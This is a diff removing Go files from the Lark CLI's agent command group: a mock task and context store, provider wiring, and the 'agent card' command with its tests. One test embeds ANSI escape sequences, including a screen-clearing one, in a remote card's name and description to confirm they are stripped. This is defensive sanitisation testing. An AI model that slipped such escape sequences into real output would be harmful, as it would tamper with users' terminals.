-		return
-	}
-	if snap.Contexts != nil {
-		s.Contexts = snap.Contexts
-	}
-	if snap.Tasks != nil {
-		s.Tasks = snap.Tasks
-	}
-	s.NextSeq = snap.NextSeq
-}
-
-// saveLocked writes the current state back to the snapshot (the caller must
-// already hold the lock). A write failure returns a typed internal error
-// (storage subtype) — the mock does not swallow errors either: silently losing
-// state would make the next command report "task not found", which is harder to
-// diagnose than a clear error.
-func (s *memoryStore) saveLocked() error {
-	data, err := json.MarshalIndent(s, "", "  ")
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
-	}
-	if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
-	}
-	return nil
-}
-
-// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
-// deliberately aligns with the command layer's meta.next interpolation
-// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
-// string "the AI copies and runs", and an id with shell metacharacters would
-// cause the whole hint to be suppressed.
-func newID(prefix string) string {
-	var b [6]byte
-	if _, err := rand.Read(b[:]); err != nil {
-		// crypto/rand being unavailable is an environment-level failure; the mock
-		// degrades to a timestamp that still satisfies the character set.
-		return prefix + "_" + time.Now().UTC().Format("20060102150405")
-	}
-	return prefix + "_" + hex.EncodeToString(b[:])
-}
-
-// createContext creates a new context and returns its id (the first-turn send goes here).
-func (s *memoryStore) createContext(agentID, title string) (string, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	id := newID("ctx")
-	s.NextSeq++
-	s.Contexts[id] = &contextRecord{
-		AgentID:   agentID,
-		ContextID: id,
-		CreatedAt: time.Now().UTC().Format(time.RFC3339),
-		Title:     title,
-		Seq:       s.NextSeq,
-	}
-	return id, s.saveLocked()
-}
-
-// createTask appends a task under ctxID: validate context ownership → compute
-// the round (which task number in this conversation) → call build under the lock
-// to construct the task → insert and write the snapshot. build runs inside the
-// lock to guarantee "compute the round" and "store the task" are atomic, so two
-// concurrent sends never get the same round.
-// An unknown / cross-agent context id returns a typed validation error (teaching
-// point: every error a provider returns must be typed — a bare error would land
-// as internal/exit 5, whereas this is clearly "the caller passed a wrong
-// argument", semantically invalid_argument/exit 2, and the AI relies on this
-// classification to decide between "fix the argument and retry" and "report an
-// environment failure").
-func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	task := build(len(ctx.TaskIDs) + 1)
-	s.NextSeq++
-	s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
-	ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
-	return task, s.saveLocked()
-}
-
-// getTask fetches a task snapshot by id (returns a copy by value, so the command
-// layer's in-place edits like normalizeTask do not write through to store). A
-// cross-agent task is treated as "not found", without leaking another agent's state.
-func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok || rec.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
-			WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
-	}
-	return rec.Task, nil
-}
-
-// setTaskState updates a task's state (used by reporter's cancel).
-func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
-	}
-	rec.Task.State = state
-	rec.Task.IsTerminal = state.IsTerminal()
-	return s.saveLocked()
-}
-
-// listTasks lists an agent's task summaries, optionally filtered by contextID
-// (empty string means no filter), output in creation order. IsTerminal is
-// carried along here for convenience, but the command layer re-derives it from
-// State via normalizeTask* (single source), so the integrator need not worry
-// about this field.
-func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*taskRecord, 0, len(s.Tasks))
-	for _, rec := range s.Tasks {
-		if rec.AgentID != agentID {
-			continue
-		}
-		if contextID != "" && rec.Task.ContextID != contextID {
-			continue
-		}
-		recs = append(recs, rec)
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.TaskSummary, 0, len(recs))
-	for _, rec := range recs {
-		out = append(out, agent.TaskSummary{
-			TaskID:     rec.Task.TaskID,
-			ContextID:  rec.Task.ContextID,
-			State:      rec.Task.State,
-			IsTerminal: rec.Task.IsTerminal,
-		})
-	}
-	return out
-}
-
-// listContexts lists an agent's context summaries, output in creation order.
-func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*contextRecord, 0, len(s.Contexts))
-	for _, ctx := range s.Contexts {
-		if ctx.AgentID == agentID {
-			recs = append(recs, ctx)
-		}
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.ContextSummary, 0, len(recs))
-	for _, ctx := range recs {
-		out = append(out, agent.ContextSummary{
-			ContextID: ctx.ContextID,
-			CreatedAt: ctx.CreatedAt,
-			Title:     ctx.Title,
-		})
-	}
-	return out
-}
-
-// getContext returns a context's detail (including its task summaries, in creation order).
-func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	detail := &agent.ContextDetail{
-		ContextID: ctx.ContextID,
-		CreatedAt: ctx.CreatedAt,
-		Title:     ctx.Title,
-	}
-	for _, tid := range ctx.TaskIDs {
-		if rec, ok := s.Tasks[tid]; ok {
-			detail.Tasks = append(detail.Tasks, agent.TaskSummary{
-				TaskID:     rec.Task.TaskID,
-				ContextID:  rec.Task.ContextID,
-				State:      rec.Task.State,
-				IsTerminal: rec.Task.IsTerminal,
-			})
-		}
-	}
-	return detail, nil
-}
-
-// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
-func (s *memoryStore) deleteContext(agentID, ctxID string) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	for _, tid := range ctx.TaskIDs {
-		delete(s.Tasks, tid)
-	}
-	delete(s.Contexts, ctxID)
-	return s.saveLocked()
-}

agent/register.go

@@ -1,19 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent is the top-level business layer that wires the in-repo agent
-// providers into the framework registry (internal/agent). It mirrors the events
-// layering: the framework/SPI lives in internal/agent, the concrete providers
-// live under agent/<scheme>/, and this package blank-imports each so their
-// init() self-registration runs. Blank-import this package from cmd to populate
-// the provider registry.
-//
-// To onboard a new provider: add its package under agent/<scheme>/ and add one
-// matching blank import below.
-package agent
-
-import (
-	// example is the in-repo onboarding template and offline demo provider
-	// (in-memory mock, zero network); its init() registers the "example" scheme.
-	_ "github.com/larksuite/cli/agent/example"
-)

cmd/agent/agent.go

@@ -1,29 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-)
-
-// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
-// that drives remote A2A agents with constant verbs. It is a pure group with
-// no RunE, so an unknown subcommand is reported rather than silently
-// swallowed. All five verbs (list/card/send/task/context) are wired here; task
-// and context are themselves nested groups.
-func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "agent",
-		Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
-		Long:  "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
-	}
-	cmd.AddCommand(NewCmdAgentList(f))
-	cmd.AddCommand(NewCmdAgentCard(f))
-	cmd.AddCommand(NewCmdAgentSend(f, nil))
-	cmd.AddCommand(NewCmdAgentTask(f))
-	cmd.AddCommand(NewCmdAgentContext(f))
-	return cmd
-}

cmd/agent/agent_test.go

@@ -1,34 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-// TestAgentCommandTree pins the shape of the `agent` command tree: the group
-// itself must have no RunE/Run (a bare group whose unknown subcommands surface
-// an error rather than being silently swallowed), and it must expose all five
-// verbs plus the nested task/context sub-groups.
-func TestAgentCommandTree(t *testing.T) {
-	cmd := NewCmdAgent(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
-	}
-	want := []string{"list", "card", "send", "task", "context"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand %s", name)
-		}
-	}
-	// task/context are nested groups
-	if task := findSub(cmd, "task"); task == nil {
-		t.Error("missing agent task group")
-	} else if findSub(task, "get") == nil {
-		t.Error("missing agent task get")
-	}
-	if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
-		t.Error("missing agent context group")
-	} else if findSub(ctxCmd, "delete") == nil {
-		t.Error("missing agent context delete")
-	}
-}

cmd/agent/card.go

@@ -1,181 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardOptions holds all inputs for `agent card <ref>`.
-type cardOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	As      string
-	Format  string
-}
-
-// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
-// capability card. Adapters synthesize the card statically from their known
-// capability matrix — no API call is made, and the command works offline /
-// under mock. Risk=read.
-func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
-	opts := &cardOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "card <agent_ref>",
-		Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
-		Long:  "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentCardRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentCardRun resolves the provider addressed by ref and emits its capability
-// card. The card is first-party static data (not agent-generated content), so
-// it bypasses content-safety scanning. The JSON success envelope is the
-// default; --format pretty opts into the human-readable listing. A --jq
-// expression forces JSON (jq operates on the envelope) and, when present,
-// filters stdout.
-func agentCardRun(opts *cardOptions) error {
-	f := opts.Factory
-	// Card synthesis is API-free, so resolve without requiring a
-	// configured client: `agent card` must work offline / before config init.
-	p, id, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	r, err := iagent.ParseRef(opts.Ref)
-	if err != nil {
-		return wrapRefResolveError(err)
-	}
-	card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
-	if err != nil {
-		return err
-	}
-
-	jq := jqExpr(opts.Cmd)
-	// pretty is a human view only; a --jq expression implies structured JSON,
-	// so it takes precedence over the pretty format.
-	if opts.Format == "pretty" && jq == "" {
-		printCardPretty(f.IOStreams.Out, card)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     card,
-		Notice:   output.GetNotice(),
-	}
-	if jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// printCardPretty writes a compact human-readable view of an agent card:
-// identity header (with per-identity preconditions), the sorted capability
-// matrix, declared parameters and skills — the key constraints an AI reads
-// from json must also be visible to a human. Remote cards carry
-// agent-controlled Name/Description/Desc
-// strings, so every such field is ANSI-stripped before hitting the terminal.
-// Nil cards degrade to a placeholder line rather than panicking.
-func printCardPretty(w io.Writer, card *iagent.AgentCard) {
-	if card == nil {
-		fmt.Fprintln(w, "(no card)")
-		return
-	}
-	// Dynamic cards carry a Name; static cards fall back to the provider label.
-	name := card.Name
-	if name == "" {
-		name = card.ProviderLabel
-	}
-	fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
-	if card.Description != "" {
-		fmt.Fprintf(w, "  %s\n", stripANSI(card.Description))
-	}
-	if len(card.Identity) > 0 {
-		ids := make([]string, 0, len(card.Identity))
-		for _, spec := range card.Identity {
-			id := string(spec.Type)
-			if spec.Precondition != "" {
-				id += "（前置: " + stripANSI(spec.Precondition) + "）"
-			}
-			ids = append(ids, id)
-		}
-		fmt.Fprintf(w, "  identity: %s\n", strings.Join(ids, ", "))
-	}
-
-	fmt.Fprintln(w, "  capabilities:")
-	// Capabilities is a closed struct; iterate in fixed alphabetical key order,
-	// matching the sorted output of the earlier map-based representation.
-	for _, k := range []string{
-		iagent.CapArtifactDownload,
-		iagent.CapFileInput,
-		iagent.CapInputRequired,
-		iagent.CapMultiTurn,
-		iagent.CapTaskCancel,
-		iagent.CapTaskGet,
-		iagent.CapTaskList,
-	} {
-		mark := "no"
-		if card.Supports(k) {
-			mark = "yes"
-		}
-		fmt.Fprintf(w, "    %-20s %s\n", k, mark)
-	}
-
-	if len(card.Parameters) > 0 {
-		fmt.Fprintln(w, "  parameters:")
-		for _, pr := range card.Parameters {
-			req := ""
-			if pr.Required {
-				req = " (required)"
-			}
-			fmt.Fprintf(w, "    %s: %s%s", pr.Name, pr.Type, req)
-			if pr.Desc != "" {
-				fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
-			}
-			fmt.Fprintln(w)
-		}
-	}
-
-	if len(card.Skills) > 0 {
-		fmt.Fprintln(w, "  skills:")
-		for _, sk := range card.Skills {
-			name := sk.Name
-			if name == "" {
-				name = sk.ID
-			}
-			fmt.Fprintf(w, "    %s\n", stripANSI(name))
-		}
-	}
-}

cmd/agent/card_test.go

@@ -1,286 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardTestOpts builds a cardOptions driving agentCardRun against a real
-// (test) Factory. The example card is synthesized statically, so no API call
-// is made and stdout carries the capability card envelope.
-func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
-	t.Helper()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
-	return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
-}
-
-// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
-// returns the statically synthesized capability card (no API), with
-// task_cancel gated off and multi_turn on, and the agent_id echoed from the
-// ref.
-func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card should be statically synthesized and not error: %v", err)
-	}
-
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v", err)
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be a card object, got %T", env.Data)
-	}
-	if data["agent_id"] != "echo" {
-		t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
-	}
-	if data["provider"] != "example" {
-		t.Errorf("provider should be example, got %v", data["provider"])
-	}
-	// source was removed from the card (schema tightening).
-	if _, present := data["source"]; present {
-		t.Errorf("card should no longer carry a source field, got %v", data["source"])
-	}
-	caps, ok := data["capabilities"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
-	}
-	if caps["task_cancel"] != false {
-		t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
-	}
-	if caps["multi_turn"] != true {
-		t.Errorf("echo multi_turn should be true, got %v", caps["multi_turn"])
-	}
-	// parameters / identity must serialize as non-null (guard against omitempty
-	// regression): parameters is always an array (empty [] for example),
-	// identity is a non-empty array.
-	if params, ok := data["parameters"].([]interface{}); !ok {
-		t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
-	} else if len(params) != 0 {
-		t.Errorf("example parameters should be an empty array, got %v", params)
-	}
-	if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
-		t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
-	}
-	// card no longer exposes scope: the required_scopes field was removed from
-	// AgentCard (scope is an internal registration item used only for preflight).
-	if _, present := data["required_scopes"]; present {
-		t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
-	}
-}
-
-// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
-// since the json default flip), the card renders as a human-readable listing.
-// The output must surface the identity and capability names in plain text so
-// the stream is not valid envelope JSON.
-func TestAgentCardRun_PrettyFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card pretty should not error: %v", err)
-	}
-
-	text := string(out.Bytes())
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.Contains(text, "echo") {
-		t.Errorf("pretty output should contain agent_id: %s", text)
-	}
-	// multi_turn is a declared capability of the echo card; it must appear.
-	if !strings.Contains(text, "multi_turn") {
-		t.Errorf("pretty output should list capabilities: %s", text)
-	}
-}
-
-// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
-func TestAgentCardRun_JSONFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "json"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card json should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must actually be REGISTERED on `agent card` (the run path already
-// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
-// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
-// the real command so registration + consumption are proven together.
-func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := NewCmdAgentCard(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("card --jq should not error: %v", err)
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
-// line instead of panicking (card.go nil branch).
-func TestPrintCardPretty_NilCard(t *testing.T) {
-	out := &bytes.Buffer{}
-	printCardPretty(out, nil)
-	if !strings.Contains(out.String(), "(no card)") {
-		t.Errorf("nil card should print a placeholder line, got: %q", out.String())
-	}
-}
-
-// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
-// the pretty renderer that a minimal static card omits: the dynamic-card Name
-// (taking precedence over ProviderLabel), Description, declared Parameters, and
-// the Skills block (both the named skill and the id-fallback when Name is empty).
-func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		Name:          "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
-		AgentID:       "agt_demo",
-		Description:   "a helpful demo agent",
-		Identity: []iagent.IdentitySpec{
-			{Type: "user"},
-			{Type: "bot", Precondition: "需加入渠道白名单"},
-		},
-		Capabilities: iagent.Capabilities{
-			MultiTurn:  true,
-			TaskCancel: false,
-		},
-		Parameters: []iagent.CardParam{
-			{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
-		},
-		Skills: []iagent.CardSkill{
-			{ID: "sk_1", Name: "Sales Analysis"},
-			{ID: "sk_2"}, // no Name → falls back to ID
-		},
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-
-	for _, want := range []string{
-		"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
-		"a helpful demo agent",  // Description branch
-		"identity: user, bot",   // IdentitySpec types are joined
-		"需加入渠道白名单",              // identity precondition must be visible in pretty (Task 11 wrap-up)
-		"locale",                // Parameters branch
-		"skills:",               // Skills block header
-		"Sales Analysis",        // skill with a Name
-		"sk_2",                  // skill without a Name → id fallback
-	} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-}
-
-// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
-// agent-controlled Name/Description cannot smuggle ANSI escapes to the
-// terminal (this sanitization is applied to every pretty surface).
-func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:    "demo",
-		AgentID:     "agt_demo",
-		Name:        "\x1b[31mEvil\x1b[0m Agent",
-		Description: "desc\x1b[2Jwipe",
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
-		t.Errorf("readable text should remain after stripping, got: %q", text)
-	}
-}
-
-// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
-// (no dynamic Name) renders its ProviderLabel as the header.
-func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		AgentID:       "agt_demo",
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
-		t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
-	}
-}
-
-// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
-// before any provider is built.
-func TestAgentCardRun_InvalidRef(t *testing.T) {
-	opts, _ := cardTestOpts(t, "no-colon")
-	if err := agentCardRun(opts); err == nil {
-		t.Fatal("malformed ref should error")
-	}
-}
-
-// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
-// presence of --format and --as flags.
-func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentCard(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent card with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent card should have a --format flag")
-	}
-	// Default output format is unified: card default flips from pretty to json.
-	if fl.DefValue != "json" {
-		t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("as") == nil {
-		t.Error("agent card should have an --as flag")
-	}
-}

cmd/agent/common.go

@@ -1,314 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent implements the `agent` command tree: a provider-agnostic
-// surface over remote A2A agents. This file holds the shared
-// command-layer helpers: ref→provider resolution, --param validation against a
-// Card, success-envelope emission, capability gating, and wait/watch polling.
-package agent
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// supportedIdentities is the identity whitelist enforced for every agent
-// command; provider cards advertise (a subset of) the same set.
-var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
-
-// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
-// until ctx is done, returning true if the full duration elapsed and false if
-// ctx was canceled first. Tests swap it for a no-op.
-var sleep = func(ctx context.Context, d time.Duration) bool {
-	t := time.NewTimer(d)
-	defer t.Stop()
-	select {
-	case <-t.C:
-		return true
-	case <-ctx.Done():
-		return false
-	}
-}
-
-// resolveProviderNoClient resolves the effective identity, enforces the
-// user|bot whitelist, and constructs the Provider addressed by ref WITHOUT
-// requiring a configured API client. It is the resolution path for the
-// API-free operations that always work — `agent card` (static synthesis) and
-// `agent send --dry-run` (client-side preview) — so they succeed even before
-// `lark-cli config init`. The provider's client is nil; only API-free methods
-// (Card) may be called on it. A malformed ref or unknown provider scheme is
-// wrapped into a validation typed error (subtype invalid_argument, exit 2), so
-// those surface before (not behind) the config gate.
-func resolveProviderNoClient(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
-	id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
-	if err := f.CheckIdentity(id, supportedIdentities); err != nil {
-		return nil, "", err
-	}
-	p, err := iagent.Resolve(ref, iagent.Deps{As: id})
-	if err != nil {
-		// ParseRef / unknown-scheme errors already carry the validation wording;
-		// promote them to a typed validation error (with a recovery hint)
-		// so RunE never returns a bare error and the exit code / subtype are
-		// stable.
-		return nil, "", wrapRefResolveError(err)
-	}
-	return p, id, nil
-}
-
-// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
-// validation typed error (subtype invalid_argument, exit 2) and attaches the
-// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
-// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
-// shape; an unknown scheme points at `agent list` to discover the available
-// providers. Both hints are copy-pasteable next steps, not just wording.
-func wrapRefResolveError(err error) error {
-	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
